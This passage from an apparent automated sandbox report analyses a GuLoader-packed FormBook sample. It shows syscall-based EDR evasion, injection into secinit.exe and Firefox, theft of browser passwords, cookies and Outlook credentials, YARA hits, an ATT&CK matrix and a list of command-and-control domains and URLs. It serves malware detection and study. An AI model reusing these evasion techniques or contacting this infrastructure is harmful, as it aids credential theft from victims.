Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D454 mov eax, dword ptr fs:[00000030h]	8_2_3291D454
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291D454 mov eax, dword ptr fs:[00000030h]	8_2_3291D454
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293E45E mov eax, dword ptr fs:[00000030h]	8_2_3293E45E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293E45E mov eax, dword ptr fs:[00000030h]	8_2_3293E45E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293E45E mov eax, dword ptr fs:[00000030h]	8_2_3293E45E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293E45E mov eax, dword ptr fs:[00000030h]	8_2_3293E45E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293E45E mov eax, dword ptr fs:[00000030h]	8_2_3293E45E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445 mov eax, dword ptr fs:[00000030h]	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445 mov eax, dword ptr fs:[00000030h]	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445 mov eax, dword ptr fs:[00000030h]	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445 mov eax, dword ptr fs:[00000030h]	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445 mov eax, dword ptr fs:[00000030h]	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445 mov eax, dword ptr fs:[00000030h]	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32918470 mov eax, dword ptr fs:[00000030h]	8_2_32918470
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32918470 mov eax, dword ptr fs:[00000030h]	8_2_32918470
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CF478 mov eax, dword ptr fs:[00000030h]	8_2_329CF478
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DA464 mov eax, dword ptr fs:[00000030h]	8_2_329DA464
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32942594 mov eax, dword ptr fs:[00000030h]	8_2_32942594
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E588 mov eax, dword ptr fs:[00000030h]	8_2_3298E588
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3298E588 mov eax, dword ptr fs:[00000030h]	8_2_3298E588
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329145B0 mov eax, dword ptr fs:[00000030h]	8_2_329145B0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329145B0 mov eax, dword ptr fs:[00000030h]	8_2_329145B0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329985AA mov eax, dword ptr fs:[00000030h]	8_2_329985AA
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329465D0 mov eax, dword ptr fs:[00000030h]	8_2_329465D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F5C7 mov eax, dword ptr fs:[00000030h]	8_2_3290F5C7
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3299C5FC mov eax, dword ptr fs:[00000030h]	8_2_3299C5FC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B5E0 mov eax, dword ptr fs:[00000030h]	8_2_3291B5E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B5E0 mov eax, dword ptr fs:[00000030h]	8_2_3291B5E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B5E0 mov eax, dword ptr fs:[00000030h]	8_2_3291B5E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B5E0 mov eax, dword ptr fs:[00000030h]	8_2_3291B5E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B5E0 mov eax, dword ptr fs:[00000030h]	8_2_3291B5E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291B5E0 mov eax, dword ptr fs:[00000030h]	8_2_3291B5E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329415EF mov eax, dword ptr fs:[00000030h]	8_2_329415EF
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF51B mov eax, dword ptr fs:[00000030h]	8_2_329BF51B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BF51B mov eax, dword ptr fs:[00000030h]	8_2_329BF51B

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtSetInformationProcess: Direct from: 0x77972B7C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtWriteVirtualMemory: Direct from: 0x77972D5C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtMapViewOfSection: Direct from: 0x77972C3C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtNotifyChangeKey: Direct from: 0x77973B4C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtReadVirtualMemory: Direct from: 0x77972DAC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtSetInformationThread: Direct from: 0x77966319	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtOpenKeyEx: Direct from: 0x77973BBC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQueryInformationToken: Direct from: 0x77972BCC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtProtectVirtualMemory: Direct from: 0x77967A4E	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtOpenFile: Direct from: 0x77972CEC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQueryVolumeInformationFile: Direct from: 0x77972E4C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtDeviceIoControlFile: Direct from: 0x77972A0C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQueryValueKey: Direct from: 0x77972B0C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtOpenSection: Direct from: 0x77972D2C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtCreateFile: Direct from: 0x77972F0C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtSetInformationThread: Direct from: 0x77972A6C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQueryAttributesFile: Direct from: 0x77972D8C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtClose: Direct from: 0x77972A8C
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtCreateKey: Direct from: 0x77972B8C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQuerySystemInformation: Direct from: 0x779747EC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtWriteVirtualMemory: Direct from: 0x7797482C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtProtectVirtualMemory: Direct from: 0x77972EBC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQueryInformationProcess: Direct from: 0x77972B46	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtResumeThread: Direct from: 0x77972EDC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtCreateUserProcess: Direct from: 0x7797363C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtAllocateVirtualMemory: Direct from: 0x7797480C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtOpenKeyEx: Direct from: 0x77972ABC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtDelayExecution: Direct from: 0x77972CFC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtReadFile: Direct from: 0x779729FC	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtQuerySystemInformation: Direct from: 0x77972D1C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtAllocateVirtualMemory: Direct from: 0x77972B1C	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	NtResumeThread: Direct from: 0x779735CC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: NULL target: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Section loaded: NULL target: C:\Windows\SysWOW64\secinit.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\secinit.exe

Thread register set: target process: 9140

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\secinit.exe

Thread APC queued: target process: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe

Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Process created: C:\Users\user\Desktop\fJuwM4Bwi7.exe "C:\Users\user\Desktop\fJuwM4Bwi7.exe"	Jump to behavior
Source: C:\Program Files (x86)\vkkmQgeVChFWDAaYJODeNaycsAxpfdiaHFspXdJfCmTsgExhz\SLePhgUCFUcrYZVod.exe	Process created: C:\Windows\SysWOW64\secinit.exe "C:\Windows\SysWOW64\secinit.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: SLePhgUCFUcrYZVod.exe, 00000009.00000002.83832728590.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 00000009.00000000.79101763259.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000000.79246703262.0000000001AE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: SLePhgUCFUcrYZVod.exe, 00000009.00000002.83832728590.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 00000009.00000000.79101763259.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000000.79246703262.0000000001AE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: SLePhgUCFUcrYZVod.exe, 00000009.00000002.83832728590.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 00000009.00000000.79101763259.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000000.79246703262.0000000001AE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: SLePhgUCFUcrYZVod.exe, 00000009.00000002.83832728590.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 00000009.00000000.79101763259.0000000001510000.00000002.00000001.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000000.79246703262.0000000001AE0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_00405D58 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

5_2_00405D58

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\secinit.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\secinit.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	312 Process Injection	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	312 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	1 Clipboard Data	6 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	3 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	4 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
fJuwM4Bwi7.exe	100%	Avira	TR/AD.NsisInject.ssylu
fJuwM4Bwi7.exe	53%	ReversingLabs	Win32.Trojan.Guloader
fJuwM4Bwi7.exe	55%	Virustotal		Browse
fJuwM4Bwi7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nszBD12.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
parkingpage.namecheap.com	0%	Virustotal		Browse
www.innovtech.life	100%	Sophos S4	malware repository domain
www.innovtech.life	9%	Virustotal		Browse
www.auetravel.kz	0%	Virustotal		Browse
belgravevilla.com	0%	Virustotal		Browse
drive.usercontent.google.com	1%	Virustotal		Browse
respirelavie.net	0%	Virustotal		Browse
cdl-lb-1356093980.us-east-1.elb.amazonaws.com	0%	Virustotal		Browse
drive.google.com	0%	Virustotal		Browse
www.accentbathrooms.com	1%	Virustotal		Browse
www.k4ryd.us	1%	Virustotal		Browse
brongal.by	1%	Virustotal		Browse
www.nurenose.com	1%	Virustotal		Browse
www.cd14j.us	0%	Virustotal		Browse
www.jdps.org	0%	Virustotal		Browse
www.airportsurvery.com	0%	Virustotal		Browse
www.respirelavie.net	0%	Virustotal		Browse
www.brongal.by	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.innovtech.life/8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6	100%	Sophos S4	malware repository domain
http://www.innovtech.life/8cwt/	100%	Sophos S4	malware repository domain
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	0%	Avira URL Cloud	safe
http://www.brongal.by/8cwt/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://brongal.by/8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	0%	Virustotal		Browse
https://login.lihttps://login.li0	0%	Avira URL Cloud	safe
http://www.accentbathrooms.com/8cwt/	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://www.airportsurvery.com/8cwt/	0%	Avira URL Cloud	safe
http://www.innovtech.life/8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.respirelavie.net/8cwt/?24eluX=iQ4bGvtt1bUOdIMmx0FoKxyGgfNtaKfegGtnnpaIA0bWJs9Q4689zouPx5Y4+HL6T4TvrzgawqpIlVOGUgGREoTlcD3Zw3RnhErLbn743FaHB2O7toC+0mA=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
http://push.zhanzhang.baidu.com/push.js	0%	Avira URL Cloud	safe
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Avira URL Cloud	safe
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://www.k4ryd.us/8cwt/?24eluX=wJjsrv+xTFW5EezvLu5DoT5e4On1D8g+dr15EOXITWTD1anv0RLrfGS01TvW8pCuGmfcOvvelUpztksk4WpfZfFxijTtARXG8NIL7Taa8Kq3eoSsUv86NcY=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://push.zhanzhang.baidu.com/push.js	1%	Virustotal		Browse
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Avira URL Cloud	safe
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	0%	Virustotal		Browse
http://www.cd14j.us/8cwt/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
http://www.airportsurvery.com/8cwt/?24eluX=KAkr0JsC36DOGBdb86MaWw8oa5TA2XZrFg5SI4PSAqjqBay0+Mt9GFSkKu0kcsR0pRjPiVoCFffv9kAFnu4p94pvlKRDsoyD63jLrTdFBvrOG4BRdTojXfc=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	Avira URL Cloud	safe
https://drive.google.com/	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
http://www.insist.site/	0%	Avira URL Cloud	safe
http://www.insist.site/8cwt/	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Virustotal		Browse
http://www.nurenose.com/8cwt/	0%	Avira URL Cloud	safe
https://apis.google.com	0%	Avira URL Cloud	safe
http://www.k4ryd.us/8cwt/	0%	Avira URL Cloud	safe
http://www.shun-yamagata.com/8cwt/	0%	Avira URL Cloud	safe
http://www.jdps.org/8cwt/?24eluX=8fvO6riwiNdGIieTsu/tMoq1+6O9galEvK05+Szv2OjuFl7+WHHAVTXMU1G96mraFYLMRcvsh+SJXHUnSCy+mSK3fOJTqBcOyoKopFv0eDv6jorQ0HypEvo=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
http://www.nurenose.com/8cwt/?24eluX=ta/RVvqxwt03TPXWzdfJPt4x66UfuVsjNv5QpTaL8gP24YNLrE30I2eSxM0VtxXCv+eA5B8kQfuz0YxEkZl7phijUbluJOwzHO73Kb9kDKOg+aMKAT0Adgs=&Mjnd0=JZHP8Tx0t6	0%	Avira URL Cloud	safe
